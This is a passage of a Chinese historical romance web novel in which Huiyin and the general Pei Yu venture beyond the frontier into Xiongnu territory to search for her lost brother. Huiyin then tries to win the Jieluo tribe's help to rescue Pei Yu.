“喝碗热汤去去寒气。” 两人沉默着用完饭, 徽音见时间不早, 也不想再耽误下去, “明日我就启程离去了。无需你派人送我, 我同王寰他们一起出发。” 王寰王寰,裴彧现下听见这个名字就心中不适,他沉默着捏紧碗筷, 强抑制住内心的嫉妒。 咕咕作响的锅子白汽上腾,裴彧眉间的寒意消融,他从衣袖里取出一封帛书递给徽音。 徽音有些讶异,接过帛书打开,目光顿住,她不可置信的抬头看向裴彧,声音颤抖,“这上面,说的是真的?” 裴彧目光幽深,像一头锁住猎物般,“是真的,你弟弟宋景川坠崖后被代郡商人所救,一路跟着商队来到了这里。” “他现在在哪?”徽音激动的起身,手中的帛书攥成一团。 裴彧起身摁着徽音坐下,他蹲在她身边环住她,语气温和:“你先冷静一下,你弟弟他如今下落不明。” 徽音双手抓紧裴彧的臂膀,眉头紧皱,“下落不明是什么意思?” 裴彧叹息一句,伸手抚在她的手背上宽慰,“八月代郡被匈奴劫掠,他所在的村庄也在其中,尸身中没发现他,应是被掠走去了匈奴。” 徽音难耐的捂住胸口,她刚刚经历大喜大悲,心难受的绞痛,叫她险些喘不过气。 裴彧将徽音抱在怀里安慰,早在一个月前他就查到了这个消息,只是不敢跟徽音说,怕她再度失望。 毕竟被掠去匈奴的汉人比死往更加惨烈,对于匈奴人而言,被掠去的汉人如同牛羊一般,视作奴隶,打骂折辱都是家常便饭。 徽音咬紧牙关一言不发,她设想过很多景川的下落,也做好他早已经不在人世的准备,可她万万接受不了他被掠去匈奴,过着生不如死的日子。 裴彧将头抵在徽音额上,不停的抚摸安慰她,“我在匈奴的探子给我传回了消息,他说当时掠去的大部分汉人都还活着,这次送行的官员我也特别叮嘱了,让他们去和匈奴单于交涉,将人换回来。” 徽音泪眼朦胧的抬头,唇瓣颤抖不堪,“真的吗,真的能换回来吗?” 裴彧遮住她的泪眼,暗叹道:“真的,你再等等,再等等。” 徽音抱紧裴彧,忍不住低泣出声,她真的还有再见景川一面的机会吗? 裴彧也不说话,安安静静的抱着她,陪着她。他知道自己很卑劣,用她最在意的东西束缚住她,逼迫她不得不留下。 裴彧合上眼,下颚紧绷,他没有办法了,若不用宋景川勾着徽音,她此去跟着王寰离开,他就再也没有机会了。 他缓缓抱紧徽音,轻嗅她身上的清香,躁动大半年的心脏在此刻安宁下来。 徽音沙哑出声:“他为什么不去找我?” 裴彧:“我打听他出来此处时,因为坠崖伤重伤到头,不记得自己是谁了。” 徽音哽咽一阵,抬眼去看高悬的明月,心中不住的祈祷,祈祷老天不要夺走她最后的希望,祈祷能让景川回到她身边。 她哽咽道:“我留下,我等他回来。” —— 在代郡一等就是一个月,开春之际,大地回暖,银装素裹的地面和屋顶全部褪去,期间长安来了几道急诏召裴彧回京,他都置之不理,执意要陪徽音等到和亲队伍归来。 这日,在众人期盼中回来的和亲队伍,带回了一个坏消息,一个令举国上下都震动的坏消息。 和亲队伍护送睢阳公主一路递来草原腹部,来到匈奴人的圣地喀秋,在那里等待了五天,迎来了公主和匈奴单于忽丹的婚礼,只是谁得没有想到的是,忽丹最小的儿子于勒在婚礼当夜发动了叛变。 这个草原上狼一样的崽子以迅雷不及掩耳之势闯入大单于忽丹的王帐,亲手杀死了自己的父王,而后他手下的势力也迅速将其他王子困伏起来,经历两天一夜的王朝更替,这位年纪十九的于勒单于登位,成为匈奴新的领袖。 他弑父弑兄弑弟,以及其果决狠辣的手段制服草原上的不服势力,并强占了和亲公主做自己的大阏氏。 平定草原后,他让人将囚禁的汉使放出,消息八百里加急朝长安送去,整个代郡民意沸腾,谁人都不想到,短短一月,竟然出了如此的变故。 自从匈奴的消息传来后,裴彧便在太守的陪同下去军营商讨军事,等待长安的指令。 徽音登上城门望着草原腹地的方向,面露担忧,担忧她的弟弟,亦担忧那个孤身陷入匈奴的小公主,不知他们是否安好。 消息传来的三日后,长安终于来了使节传信:“按兵不动。” 这个结果并不意外,对于陛下和朝臣而言,嫁公主是为了不起兵戈,如果新单于也愿意和南朝交好,那么将公主转嫁给他也是一样的。更何况,匈奴的传统便是父死子继。 这日,徽音再度登上城墙,遥望那一望无际的草原,那里有她牵挂的人。 匈奴内部大变,原本安排好的鸿胪寺官员也死在混乱之中,那批被掠走的奴隶自然也没有回来。 徽音期待的心再度沉入谷底,若是从前她还骗骗自己,一定能找到景川。 可是他流离去了匈奴,也许他还活着,但姐弟两人却再也没有能够相见的机会了。 颜娘替徽音拢紧领口,城墙上风异常大,吹得人睁不开眼,”女郎,天色不早了,我们下去吧。” 徽音落寞的收回视线,转身同颜娘下城墙,回去的路上,碰见了多日未见的裴彧。 这些时日兵荒马乱的,他们虽然身在一城,却没有多少见面的机会。 他神色有些困乏,眉间紧皱身后跟着几名武将神色激动的在跟他说些什么。徽音依稀听见两句,他们在争吵为何不能出兵攻打匈奴一事。 裴彧看见徽音后,三两句打发了那些武将,走到她面前问:”刚从城墙上下来吗?“ 徽音点点头,朝他身后望,“他们同你说了些什么?” 裴彧并肩跟徽音走在一起,闻言扯扯嘴角,“闹着要出兵。” 徽音脚步一顿,侧头去打量他的表情。裴彧眉间微挑,斜眼看过来,“你以为我也主张出兵?” 徽音沉默着没说话,出了这样的事情,他不想出兵才是奇怪。 “陛下下旨,兵马若敢异动,杀无赦。”他漫不经心的道出这句话,像是在和谁闲话般。 徽音心中一凛,想想又觉得这样才是符合那位的决策,他送女和亲本就是为了太平,自然不会再起兵戈。 “失望吗?”裴彧轻声问。 徽音叹息道:“失望自然是有的,可有些事的确是强求不来的。” 裴彧不可置否,挑眉道:“事在人为。” 徽音长叹一声,“曾经我也以为是这样,可我并没有这样的能力。” 自从两人决裂以来,这还是第一次心平气和的走在一起谈论着这话。 裴彧停下脚步,紧紧盯着徽音的眼睛,“你告诉我,你想要你阿弟回来吗?” 徽音身体不住的发颤,她自然是想的,无时无刻不在想念着,可景川在匈奴,她真的没有办法,“我自然是想的,可现在形势如此,还能有什么办法。” 裴彧:“我会帮你找会弟弟的,我答应过你的。” 徽音摇摇头,面露不忍,“他在匈奴,你要怎么找回来?” 裴彧没说话,徽音心中一跳,慌忙抬眼去看他,“你想做什么?难不成你要出关?” 裴彧唇瓣微抿,郑重道:“你在代郡等我,等我回来,我会把你弟弟带回来。” “不许去,你疯了吗!”徽音拉住裴彧的手臂,眉间蹙在一起,裴彧的一番话在她心中掀起一阵波澜,初时确实是高兴,可仔细想想根本就不可能。 草原匈奴骑兵遍布,他带人出关,若被发现根本就不可能活着回来,她不能让裴彧为了她去冒险。 “你别去,你别。”徽音颤抖着抬头,泪珠滑落。 徽音心中只有一个念头,那就是阻止裴彧,他不能去。他已经不欠她什么了,不必再为她去犯险。关外凶险万分,她不能这么自私,让裴彧去冒险。 裴彧看着半揽半抱着将徽音带进马车,拍着她的背脊安慰,“别怕,我心中有数。” “你有什么数!”徽音红着眼骂他,“关外多危险还用我说吗?” “你不许去,你敢出关,我就立马告诉陛下和皇后,让他们治你的罪,让他们把你干起来!” 裴彧扶着徽音坐下,按住她颤抖的手臂,心中有些难受。她还是担心自己的,她心中还是在意的。 他眼尾微垂,神色是那样的温柔,温柔的有些不像他,“徽音,我此去并非只为你阿弟,我还有更重要的事情去做,这一趟我是一定要走的。” 徽音痛苦的闭上眼,胡乱拍打着他,“你别骗我,有什么要事值得你豁出性命的!” 裴彧抱紧徽音,在她耳边低语几句,徽音眉头越皱越深,拽紧他的衣袖没有说话。 裴彧:“我向回来的那些人打听过了,当日匈奴大乱,你阿弟那些人趁乱出逃去了大宛。匈奴换主,内部必起动荡,我出关也是为了探究草原上的细况,并非一时冲动。” “可是……”徽音六神无主,不知该如何劝阻裴彧,他的诚然很有道理,可是关外实在太危险了,她不放心。 “没有可是,匈奴人屡次犯我边境,如不能驱逐他们,这种情况还会存在。”他说到最后,嗤笑一声,“总不能将剩下的两位公主都送出去。” 裴彧握着徽音肩膀的手掌缩紧,眼神坚毅,“这件事情我只告诉你一个人,三天后我就会带人偷偷出关,沿着外围一路去大宛刺探军情,最多一月就回来了。我把我的亲卫留给你,倘若我出事没能回来,以后他们就听你调遣,宛县的官员我已安排好一切,他会护你周全。” 说完这段话,他又自嘲的笑笑,“有王寰在,也许轮不上我照顾你了。他……很好,你和他若是能在一起,我也能放心了。” “你别说这样的话。” 徽音鼻尖一酸,再也忍不住哭出声,她扑进裴彧怀中,紧紧抱住他不肯抬头,哽咽道:“一定还有其他办法的,我不想你去冒险。” 裴彧轻抚她的发丝,心中满是不舍,他接下胸口佩戴的狼牙吊坠挂在徽音颈脖上,捧着她的手掌在嘴边轻吻,“你放心,我舍不得放下你,一定会活着回来的。” —— 夜里,在内室都能听见外头的寒风呼呼作响,窗户外传来细微的敲击声,徽音以为是颜娘忘记了什么东西,只穿着鹅黄寝衣赤脚踩在毛毡毯上去开窗。 她才将窗户打开一条缝隙,倒灌的寒风便吹得她手脚冰凉,徽音哆哆嗦嗦的问:“傅母,怎么了?” 下一刻,窗户被大力推开,一个身着玄色大氅的身影从窗户矫健的跃进房内,又快速的回身关窗户,隔绝寒气。 徽音看着不请自来的不速之客,方才他跃进来时带起一阵雪屑,全部都铺洒在她的毛毡地毯上,被暖意一熏,化成细小的水珠浸湿毛毯,浅色的毛毯上映着零零散散的深色。 她目光悲伤的望着他,“你是来和我告别的吗?” 那人没有说话,静静地站在窗边,眉眼深邃。 徽音又问:“你有多少把握可以全身而退?” “九成。” 骗子。 她转身往内室走,将要落下的眼泪逼回去。 裴彧:“你别哭。我离开后,代郡不安全,我已安排好了人,过两天就派人送你回荆州。” 徽音低低应了一声,她等了一会儿,裴彧还是没有要离开的动作,她抬头问,“你还有什么要说的吗?” 在她触及裴彧那双幽深的眼睛后话音截然而止,只见裴彧微垂着眼,睫毛在他脸上投下一阵小小的暗光,那双眼里倒映着徽音的脸,无比清晰。 裴彧走上去,蹲下身低下头,轻轻蹭着徽音的侧脸乞求,“徽音,我想亲亲,可以吗?” “裴彧,你别这样。”徽音有些忍不住泪,她躲开裴彧的触碰低下头。 裴彧捧起徽音的脸,轻啄她的泪滴,从徽音的眼角一路往下,来到他梦寐以求的唇边旁,只轻微的碰了碰。 他察觉到怀中人身体一颤,站不住的往下滑,裴彧横抱起徽音往内室走,将她轻轻放在床上,两人视线交缠,他控制不住的吻上去,和徽音气息交缠在一起。 徽音闭着眼,只感觉身上越来越热,这个吻很以往大为不同。 裴彧动作很轻柔,似乎担心弄疼她,徽音睁开弥漫水光的眼睛,双手无意识的攀附在裴彧身上,想要更多。 裴彧抬起头,一眼就望进徽音满含情丝的眼底,他伏在徽音肩上深吸一口气,平复呼吸,声音暗哑,“夜深了,我该走了。” 徽音仰面躺在床上,等裴彧起身离去时拉住他。她轻咬下唇,眼里含水,什么话都没说。 裴彧却浑身一震,喉结上下滚动,伸手去解徽音的腰带。 徽音两眼一黑,她根本没打算和裴彧和好,怎么就一时鬼迷心窍弄成了这般模样。她连忙抬手阻止裴彧,双脸绯红,“裴彧你先等等。” 裴彧解裤腰带的动作一顿,闻言看过去,徽音双臂抱在胸前,风光露出,他鼻尖一热,连忙侧脸移开眼,捞过床脚的被褥盖在徽音身上,声线暗哑至极,“是不是冷了?” 徽音拽着被子,“要不,你先回去?” 裴彧身体僵硬,发热的身躯因为这句话迅速凉下去,他喉间发涩,“我弄疼你了吗?” 徽音避开他肆意的眼神,有些结巴道:“不是……我还没想好,我没带避子药,会有孕的。” 裴彧再度吻上去,俯身上前,伏在徽音颈侧轻轻吸吮,低声道:“我服了避子药。” “什么?”徽音怔怔的松开手。 “发现你偷偷服药后,我就让人将你的避子药换成补身的,再找医官开了副男子避孕的药方,一年时效。” 徽音:“你为什么?”她不知该如何说,裴彧竟然服了避子药,还是在她不知情的情况下。 “你不想你伤身。” 裴彧三两下拉下帷幔,凑上前去吻徽音,分离的这些日子里,他无时无刻不在想念着她。 徽音不知道裴彧是什么时候离去的,身侧的床榻由温热慢慢转凉,她蜷缩身子躲在被褥里紧紧环住自己,滑落的眼泪打湿软枕。 她留不下睢阳,也留不下裴彧。她静静地躺在床上,听着窗外北风呼啸,下定决心。徽音冷静的起身唤来颜娘,将事情一件一件交代下去,她下床穿好衣服,不顾身后颜娘的哭求,坚决的出门。 等到子时方歇,城门口一队疾驰而来的骑兵卫队蓦然勒紧缰绳停下,领头的将军翻身下马,朝城门下等候着的人影走去。 离得近了,裴彧才发现徽音的不对劲,她穿着一身防风防寒的大氅,牵着一匹黑马,马鞍上还挂着收拾好的行礼,一副要出远门的样子。 裴彧心中浮起一阵不好的预感,“你在这里做什么?” 徽音拍拍马背,翻身上马,居高临下的看着他,“我要和你们一起去。” “胡闹!”裴彧压低声音,伸手去揽徽音的腰要将她抱下来。 徽音躲开他的手臂,坚决道:“你要是不想被人发现行踪,就尽管将我甩下。” 裴彧眼中含怒,强硬的拽着马儿掉头离开,“你少威胁我,这不是儿戏,你给我回去!” 徽音任由他拉着马朝城内走,没有过多的争论,只说了一句,“你不带我去,我就找别人带我出关。” “你疯了,你知不知道关外多危险!”裴彧回身怒喝。 徽音俯下身,声音轻柔却坚定,“我不会成为你的累赘,让我跟着你去吧。” 裴彧将手中的缰绳攥的吱吱作响,手背青筋暴起,他实在拿身后的人没有办法,他清楚徽音,她从来都不是一个会妥协的人,她决定的事情,没有能够让她改变想法。 “遇上危险,我都不能保证能护住你。” 徽音慢慢握住他的手掌,明明是在漆黑的夜里,她那双漂亮的眼睛却闪闪发亮,“我不怕,在你身边,我什么都不怕。” 裴彧喉间发涩,想说什么却说不出来,他有些突兀的别过头,深呼吸平复心情。良久后才牵着徽音的马匹朝队伍去,一群人悄无声息的出了城门,身影消失在漆黑的夜里。 冬日虽过,倒春寒时节的寒风也能要人半条命,徽音骑在马上,浑身上下裹得密不透风,只剩一双眼睛露在外面,她能感觉到手指已经完全冻僵,无力攥紧缰绳,全凭身下的马儿带着她跑。 裴彧只带来驰厌方木以及另外两名近卫,六人连夜出关后,专挑偏僻无人的小路行走,一路上连个人影都看不见。纵然徽音不懂军事,也能猜出这种情况不对劲。 前方马匹传来异动,徽音还来不及转头去查看,就见裴彧连同其他三人箭簇似的窜了出去,眨眼间便将不远处的黑影撂倒捆了回来。 徽音定睛看去,那是个匈奴士兵,不知为何孤身一人出现在了此地,他身后的马匹上,驮着大大小小的包袱。很显然,这是一个逃兵。 裴彧朝身后打着手势,落后的几人静默的靠过去,他们配合很是默契,甚至不需要交流,全靠手势和眼神就能领会,很快就带着那个匈奴逃兵离开了此地。 夜幕降临,几人找了出干净的山坳安营扎寨,徽音坐在火堆旁烧水煮汤,顺便按摩缓解缓解自己大腿的酸涨感。 这是他们进入草原腹地的第五天,带上的干粮很饮水早已消失殆尽,好在运气不错,路上居然撞上了逃出来的匈奴士兵,他带着的干粮和饮水不少,够他们这些人撑三日了。 只不过,在这里撞见匈奴士兵,就意味着不远处一定有一队匈奴军队驻扎在此地,他们必须趁匈奴人还未发现踪迹前,赶紧离开此地。 吊锅中的炉子烧得咕咕作响,徽音取出几个干硬的烤饼撕碎浸在汤里,这情况下能吃上一口热乎的吃食,也是不容易。 很快,裴彧和其他几人都靠过来烤火取暖,徽音拿出陶碗将锅中的热汤一一分食,递给身边的几人。她看了眼身后不远处被捆成粽子的匈奴士兵,出声询问:“他有交代些什么吗?” 裴彧脸上的火光明明现现,神情有些难看,“运气不好,撞上匈奴左贤王的军队了,距离我们不远。” “那要改道吗?”裴彧沉默片刻,摇摇头,“匈奴内乱的厉害,各大军营都溃逃了不少士兵,越往里走越危险。不过,探清左贤王的的兵力是此行重要的目的之一,值得冒险一试。” 徽音轻轻吹开上腾的热气,捧着热汤小口的喝着,闻言不再多说什么。她快速的用完饭,双手捂着裴彧已经冻红的耳朵,“暖和吗?” 裴彧眼底笑意正深,漆黑点墨的眼珠一动不动的盯着徽音,“你手掌很热。” 徽音见旁人有人看过来,有些不好意思的收回手,取出腰间的毛毡巾,动作温柔的裹在裴彧头上,拍拍他的脑袋,笑道:“丑是丑了点,但也比耳洞冻僵要好。” 裴彧抬手摸到一手的软毛,这场景让他彷佛回到了甘泉宫被徽音捉弄的时候,他心口发热,冻僵的身体逐渐回暖。 火堆熄灭后,这片广阔的天地再度恢复宁静,徽音靠在裴彧的怀里,连日的奔波让她很快就失去意识陷入沉睡。 裴彧摸摸她柔软的脸蛋,不仅抱紧怀中人,心事重重的看着熄灭的火堆。不知为何,越往里走,他的不安感越发强烈。 第74章 你不怕死吗? 第二日清晨, 裴彧留下驰厌和方木保护徽音,他则带着另外两人悄悄摸进左贤王军队。 徽音三人等在相对安全的地界,此处地势高, 能将就进的地形一览无余,遇见危险时也能快速察觉离开。 等到正午时分, 太阳高照时裴彧才带着人回来,三人浑身的泥,模样狼狈,但好在身后没有追兵追击。 再靠近些, 徽音便看见裴彧脸上久违的轻松笑容,她也不自觉扬起嘴角, 静静地等他靠近。 裴彧翻身下马, 扬扬手中的牛皮卷,“这躺出关将匈奴内部的兵力摸得一清二楚, 收获颇丰。” 徽音松了口气,看着他神采奕奕的模样也不由得为他感到高兴。 裴彧低头看她,“接下来,就是去大宛,把你弟弟找回来。” 徽音鼻尖发酸, 理智告诉她现在撤离是最好的办法, 左贤王可能一时半会发现不了他们, 但越往里走, 危险就越大, 她不能让大家因为她的私事冒险。 可是她真的没办法说出拒绝的话语, 那是她唯一的亲弟弟,她要带他回家。 离开左贤王的驻地后,他们朝大宛的方向又走了两日, 这日天气晴朗,蓝天白云近的好像伸手就能摸到,徽音满怀着期待,最多再有三天,他们就能穿过匈奴抵达大宛。 变故往往也发生在最满怀期待之时,裴彧突然勒紧缰绳,神情极为难看的抬头,徽音顺着他的目光看去,原本一览无遗的天空出现了一只巨大的鹰隼,它一直绕中众人盘旋,时不时高声鸣叫。 徽音还没来得及开口询问,就见裴彧往她手中塞了一卷牛皮,同时厉声吩咐驰厌和方木调转马头,护送她离开。 一片混乱中,她只来得及回头看了一眼裴彧,只见他嘴唇微动像是在说些什么,而后带着其他两人朝反方向离去,头顶盘旋的鹰也跟着他们一起离开。 徽音气血翻涌,缰绳被驰厌死死的握在手中,拉着她的马快速疾驰离去,她最后只来得及看见裴彧的背影消失在眼中。 驰厌和方木带着徽音原路返回到之前休整过的山坳,两人一改往日的活泼话多,兀自沉默着,赶了一天的路,徽音水米未进,唇色苍白如纸,她强忍着晕眩从包袱里的水壶喝了几口,放在沉默不语的两人面前。又翻出干粮咽了几口,才勉强好受一点,恢复点力气。 徽音歇了会后,将干粮放在驰厌和方木面前,她说不出什么安慰的,连她自己此脑袋刻都是一团乱麻。 那头鹰只跟着裴彧等人离去,从入草原后,她和裴彧只有在前两天他潜入左贤王驻地前分开过,也就是说那鹰应该是左贤王之物,不知道怎么发现了裴彧的踪迹,一路跟着他们,也许左贤王的军队此刻已经去追击裴彧了。 徽音有些颤抖的抱住自己,如果那日裴彧从左贤王的驻地出来后他们就原来返回,不去大宛,就不会发生现在的境况,是她连累的裴彧。 她抱住膝盖,俯首在膝盖上悄悄流泪,她想起和裴彧分开时他说的那句话,他说让她好照顾自己,不要让他忧心。 徽音泪眼朦胧间仿佛感受到他的体温,这段时间以来,每次她一流泪,裴彧总会无奈的叹气,然后伸手替她擦干净泪。 她胸口一阵钝痛,咬着牙,紧紧攥着胸口的吊坠狼牙,心如刀割。直到此刻,她才不得不承认,她爱裴彧,无可救药的爱他。 脸上的泪水冰凉一片,徽音长睫轻颤,嗓子沙哑得不成样子,她抬头看了看天色,已经夜半了,距离她和裴彧分开已经快一天了。 “我记得草原上不止匈奴一处势力,还有羯罗族是不是?” 驰厌扫了眼徽音通红的眼眶,忍住怪罪的话语,僵硬的点点头。 徽音又问:“那我们去可以找他们帮忙出兵?” 驰厌很长一段时间没有回话,倒是方木接了这话,回道:“若此法行得通,少将军早就带我们去找他们了,这羯罗族十分仇视汉人,不会帮我们的。” 徽音不肯放弃,她站起身去翻找地图,这些时日,裴彧一有空就会教她怎么看,即使不需要方木和驰厌的帮忙,她也能看得懂这份军中地图。 羯罗族的驻地就在距离他们的不远处,两个时辰的路程便能到,若能说服羯罗族出兵,裴彧他们就有救了。 她起身去收拾包袱,将裴彧塞给她的那块记录重要军情的牛皮纸拿出来递给驰厌,转身牵着马匹对两人说道:“能不能行走得试试才知道,也比坐在这里什么都不做的强。你们带着军情回代郡,我去找羯罗族。” 驰厌和方木连忙拦下徽音,不同意她独自离去,“少将军离去前吩咐我俩护送你回去,你不能独自离开。” 徽音不理会他们二人,她利落的翻身上马,居高临下的看着两人,冷声道:“你们现在只有两个选择,转头离开或者跟我一起去羯罗族。” 驰厌和方木对视一眼,面露挣扎,他们绝不对不能放任徽音一人离开,少将军对他们下达的最后命令就是好好保护徽音。 最后,两人商量片刻,由方木陪着徽音一同去找羯罗族,驰厌则带着军情连夜疾驰赶回代郡,兵分两路。 好在今夜的月色还很明亮,连夜赶路也看能辨清方向,一路上徽音都不敢松懈半分,即使身体早已冻得僵直难以坐正,她也没让马儿停下。 只要她快些,再快些,裴彧和另外两人就能被救下,她不能让他们死在这里,死得岌岌无名,甚至背上罪责祸及家人。 两人一路疾驰来到一处水源边,方木连忙出声喊住徽音,拉着她下马隐住身形,小声的跟她介绍羯罗族。 羯罗族作为生活的在匈奴周边最近的游牧民族,因族人稀少比不过匈奴,饱受欺凌和掠夺。 十年前,羯罗族的老族长为了替子孙后代考虑,摆脱匈奴人,向南朝求援,想和南朝联手共同对抗匈奴。 本来一切都在朝好的计划发展中,当时南朝的主将却不知道为何,没有按照约定的时间抵达埋伏地点,致使羯罗族大批精锐惨死匈奴人之下。 自那后,羯罗族元气大伤,不得已将水草丰茂的牧地交出,退居到草原的边境生活。 因为此战,他仇恨匈奴人的同时更恨不守信义的南朝人,从此偏安一隅。那次战后,陛下虽然将那位主将处死,却依旧不得羯罗族的原谅。 徽音听完来龙去脉顿时沉默下来,她不曾想到过南朝和羯罗族之中还有如此的渊源,他们仇恨汉人自然是应当。 方木指着前方黑乎乎一团的树影子给徽音看,“那里就是羯罗族的地盘了,我们贸然闯进去,被人发现我们是汉人,就会被当场处死。“ 徽音一颗心落到了谷地,羯罗族和南朝有如此深刻的仇恨,那她该如何才能说动他们出兵去救人。 方木有些不忍心去看徽音惨白的脸色,他取下水囊递给徽音,“喝点水吧。” 徽音如同牵线木偶般接过水壶,紧紧攥在手中,过了很久,方木才听见她哑着嗓子道:“你觉得,羯罗族人是更恨匈奴还是更恨南朝?” 方木闻言神情一顿,斟酌后回:“依我看,他们更恨匈奴人。” 徽音慢慢笑起来,眼尾上扬,眼眸中星星点点,好似比夜空中的星光还要明亮,方木不禁被她这笑容晃花眼,他快速低下头遮掩异样。 徽音打开水囊喝了一口,缓解干哑的嗓子,转头看着那一片黑乎乎的影子,目光坚定,“更恨匈奴人,那就还有被说服的机会。” 方木愣愣的看着她,突然间就明白少将军为什么非她不可了。 徽音扶着发麻的膝盖站起身,抬头望了下天色,天边渐渐泛白,马上就要天亮了。 她艰难的迈着步子上马,回头对方木说道:“你就在这里等我,一个时辰后我若还没出现,你就可以离开了。” 方木不肯,他紧紧拽着缰绳不肯放,胡乱找话道:“少将军知道后会生气的。” 徽音避开方木的手掌夺回缰绳,闻言眼神黯淡,但很快她就恢复了情绪,甚至和方木开起了玩笑,“我要是出不来,他也活不成。他死了,又怎么会生气。” 方木那张能言善辩的嘴一时被堵了回去,说不出反驳的话。 徽音坐正身体,看着东边露出的金光,这副场景让她想起了甘泉宫中的那到晚霞,耀眼绚烂。她心中忽然升起了无限的勇气。 她轻夹马腹朝前跑去,语气轻快,声音回荡方木耳边,“他还在等我,我不会让他失望。“ 方木眼眶发热,他抬手捂住双眼,蹲在原地泣不成声。 徽音还没靠近那团驻扎在一起的帐篷群,就被周围守卫的羯罗族士兵拦下,他们面容警惕,持刀看着闯入的徽音,慢慢围上来。 徽音勒紧缰绳,朝那群士兵大喊,“我是南朝的和亲公主,新上任的于勒单于遇刺重伤,我知道他现在藏身于何处,快带我去见你们族长。“ 她自认为这句话一定能勾起羯罗族人对匈奴的复仇心,只是她忽略了最重要的一点,羯罗族人仇恨汉人,自然不会汉语,她说的话在他们耳中如同鸟语。 甚至因为刚刚的大声喊话,那群士兵仿佛被她激怒,手中的尖刀已经竖起,明晃晃的刀锋闪着银光。 徽音手心已经开始出冷汗,羯罗族中估计只要族长等一些族老才能听懂汉语,她必须见到那些人,才有开口的机会。 她咬咬牙,攥紧缰绳猛夹马腹,闭着眼睛冲出包围圈,朝那片帐篷群狂奔过去。徽音整个人匍匐在马上,这是裴彧教她的,这样可以减少风的阻力加快速度。 她听着身后羯罗族士兵追赶怒喊的声音,耳边还有箭矢穿过,擦着她的耳侧划过。徽音抬手摸了下耳朵,手指上一片鲜红,她却感受不到一丝疼痛。 徽音耳边不合时宜的响起裴彧的调笑,他说,“你这不是骑得很好吗。” 她眨眨眼,驱除眼眶里的湿意,全神贯注的盯着眼前,帐篷群外的守卫已经注意到她的异动,其中几人手持绊马索分在两侧,想要将她绊下马。 徽音深呼一口气,脑中想起那人的教导,在即将被绊倒时猛拉缰绳,马儿吃痛的跃起前脚,加上徽音轻盈的身形,居然从高高的绊马索上跃了过去。眼看着冲入羯罗族腹地,正中间巨大的帐篷外已经走出来一群人查看异动。 她连忙大喊:“我是南朝和亲公主,我知道的于勒的下落。” 她还没凑近跟前,身下的马腹扎进一支深深的羽箭,这匹跟随她东奔西走的马儿再也支撑不住倒在地上,连同徽音也摔在地上,左侧手臂擦伤疼痛难忍。 羯罗族的士兵快速的将她制住捆上,强硬的摁在中间帐篷外的老者面前,刀峰横卧在徽音颈上,割破她的肌肤。 徽音忍者痛艰难的抬头,看着那胡须花白的老人孱弱的走近,问她,“把你刚刚的话再说一遍?” 徽音喘了口气,明白自己赌赢了。这些时日她跟着裴彧到处打探,将匈奴的现状摸得一清二楚。 于勒虽然杀了老单于忽丹,但并没有完全收服忽丹的心腹,草原上一分五裂混乱不堪。她赌的就是羯罗族对匈奴世世代代压迫的仇恨。 徽音将方才的话再度重复了一遍,甚至在南朝公主这几个字眼上加重音量,世人皆知,于勒杀了他父亲,夺走了南朝公主。 那老人是羯罗族的首领哈赤,也是十年前被南朝背叛的那位,他眼神一片浑浊,徽音却不敢小觑。 不知过了多久,哈赤终于收回在徽音身上审视的视线,挥手让身后制住她的人松开,他阴沉沉的盯着徽音,声音嘶哑不堪,“于勒在哪?” 徽音皱着眉,她手臂方才摔下马时好像有些错位,此刻钻心的疼。她艰难的直起身,直视哈赤,面色平静,“他身边还跟着一只军队,你若想杀他,得带不少人。” 哈赤眯起眼,半天没有说话,似乎在判断这句话的是否属实。他身侧其他几位老者也凑到他身边,七嘴八舌的议论起来,用的是羯罗族的语言,徽音听不懂。 她面色不显,心中却有些焦躁,当心被他们识破,更担心左贤王的军队已经追上裴彧了,他们没有水源和干粮,撑不了多久。 只要她能说动羯罗族出兵,顺利拦下左贤王的军队,裴彧就能趁这喘息之际脱身。 想到此处,徽音不动声色的打量了一下他们的面色,发觉哈赤面露迟疑,她连忙道:“匈奴现下四分五裂,这是你们报仇的最好时机。” 哈赤却反问:“那你呢,南朝公主,你目的为何?” 徽音侧头凝望东方,眼中含泪,“我想回家,你们得送我回家。” 不知是她神情太过悲伤还是羯罗族对匈奴的仇恨更深,总之,哈赤相信了她的话,并吩咐人下去点兵。 徽音起初听不明白他说的是什么,可当他看见那些羯罗族士兵纷纷手持刀剑从帐篷中涌出,挺直的脊梁终于松懈下来。 也许当羯罗族人知晓她是骗他们的时候,会将她碎尸万段解心头之恨。但她不怕,她只是不想再欠裴彧什么了,何况那三条无辜的性命,她和景川都承受不起。 谁料,她才刚刚放松片刻,右侧突然传来一声女音:“我见过她,她不是南朝公主,她是代郡人!” 徽音连呼吸都变得微弱,她艰难的转头看过去,那是一个羯罗族打扮模样的女子,颈脖处和腰间都系着一条白色的羊毛长巾。 面容有些眼熟,徽音想不起在那里见过她。 在那个女人拆穿她身份后,哈赤一直面无表情的脸庞突然变得怒目圆睁,那双浑浊的眸子里似乎浸出血泪,如同阎王索命般吩咐道:“你竟敢骗我!你们南朝果然都是一样的狡诈可恶!来人,给我杀了她!腰斩,曝尸七日!” 徽音如坠冰窟,她僵硬的坐在原地,四肢无力,刚刚经历过大起大落的她脑中压根无法思考,该如何破局。 或者说,现下这个场面,纵然她有通天的本领,也无济于事。 徽音放弃挣扎,任由羯罗族人将她拖到刑罚台上,被摁在那快充满血腥味的木桩上时,她竟然似丝毫没有害怕恐惧的感觉,她静静地靠在那里,想起了离去前颜娘的流不尽的眼泪,想起景川开怀的笑容,也想起了裴彧…… 都说人死前会想起这辈子最在意的东西,原来这句话不假。 她笑着流泪,缓缓闭上眼,心中默念,裴彧,我不欠你什么了。 “慢着!”依旧是那道女音,除了女音外还有一到介于少年和青年之间的清脆声音。 徽音睁眼,看着远处本奔来的一男一女,那少年眼眸明亮,那双眼叫人难忘。她想起来了,他们是睢阳出关那日,她救下的那对姐弟。他们居然是羯罗族人。 那两人焦急的望了眼徽音,快步跑到哈赤身前跪下,拽着哈赤的衣摆,神情激动的指着徽音大声说着些什么。 是羯罗族的语言,叽里呱啦的一句她也听不懂。但从那两人频频看她的担心目光来看,约莫是在替她求情。 徽音心思瞬间活络起来,一改方才的认命姿态,挣扎着起身扑过去,她深知这是最后一次机会,不敢再满口谎言,无比诚恳的道明来意。 “哈赤族长,我的确不是南朝的和亲公主,方才所言也都是假话。我是跟随南朝的裴彧将军来到此地,三日前,裴将军意外撞见匈奴左贤王的军队,偷偷潜进去刺探军情,却不料被左贤王饲养的鹰隼发现危在旦夕,我来是想恳请您出兵相救。” 哈赤阴沉的面色有些好转,他扫了眼跪地恳求的孙子孙女,闭眼挥挥手,“你救我孙子孙女一命,我不计较你欺骗之罪,却也不会出兵帮你,你走吧。” 